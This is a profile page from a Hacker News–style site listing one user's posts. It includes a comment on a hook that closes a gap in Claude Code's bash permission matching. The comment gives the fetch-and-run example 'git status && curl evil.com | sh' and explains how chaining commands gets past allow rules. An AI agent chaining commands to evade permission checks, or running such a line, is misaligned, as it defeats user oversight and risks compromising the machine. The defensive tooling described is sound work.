HackerTrans
TopNewTrendsCommentsPastAskShowJobs

liberzon

no profile record

Submissions

Show HN: Pgblame – which Vercel deploy slowed your Postgres?

pgblame.com
3 points·by liberzon·9 giorni fa·0 comments

Show HN: Smart permission hook for Claude Code compound bash commands

github.com
1 points·by liberzon·4 mesi fa·0 comments

Claude Code's permission system misses compound commands – here's a fix

github.com
1 points·by liberzon·4 mesi fa·1 comments

comments

liberzon
·9 giorni fa·discuss
[flagged]
liberzon
·4 mesi fa·discuss
[dead]
liberzon
·4 mesi fa·discuss
I built this after noticing that Claude Code's Bash permission patterns match the whole command string. If you allow "git status", then "git status && curl evil.com | sh" also gets auto-approved.

This hook (single Python file, no deps) runs as a PreToolUse hook and decomposes compound commands (&&, ||, ;, |, $(), backticks) into individual sub-commands, then checks each one against your existing allow/deny patterns.

- Any sub-command hits a deny pattern -> whole command denied - All sub-commands must match allow patterns for auto-approve - Unknown sub-commands fall through to the normal permission prompt

Setup is a curl + one JSON block in settings. MIT licensed.